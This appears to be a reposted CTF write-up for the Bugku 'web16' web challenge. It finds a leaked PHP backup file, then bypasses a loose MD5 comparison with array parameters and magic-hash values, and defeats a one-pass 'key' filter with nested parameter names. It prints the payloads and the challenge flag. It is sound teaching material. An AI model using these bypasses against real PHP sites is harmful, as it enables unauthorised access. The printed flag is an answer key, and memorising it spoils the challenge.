Bugku CTF web16(Web)

0、打开网页,同时查看题目提示

描  述: 备份是个好习惯

理所当然地想到了备份文件:index.php.bak

当然交给御剑扫描也能很快得到结果

1、使用御剑扫目录

2、打开备份文件,进行代码审计

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

注意到代码对key1和key2的md5值进行了==判断,同时key1!=key2

属于MD5弱类型碰撞,使用数组绕过即可

同时对key进行了一次绕过因此构造双重变量:kkeyey1和kkeyey2

最终payload:?kekeyy1[]=1&kekeyy2[]=2(即null==null)

其他payload:?kekeyy1=QNKCDZO&kekeyy2=240610708(即QNKCDZO的MD5值与240610708的MD5值相等)

此类PHP弱类型对比绕过均可尝试上述构造(如果是===比较则会失效)

3、提交payload:?kekeyy1[]=1&kekeyy2[]=2

4、得到flag:flag{26f79619f953aae01177dcd432947059}

猜你喜欢

转载自blog.csdn.net/ChaoYue_miku/article/details/114194869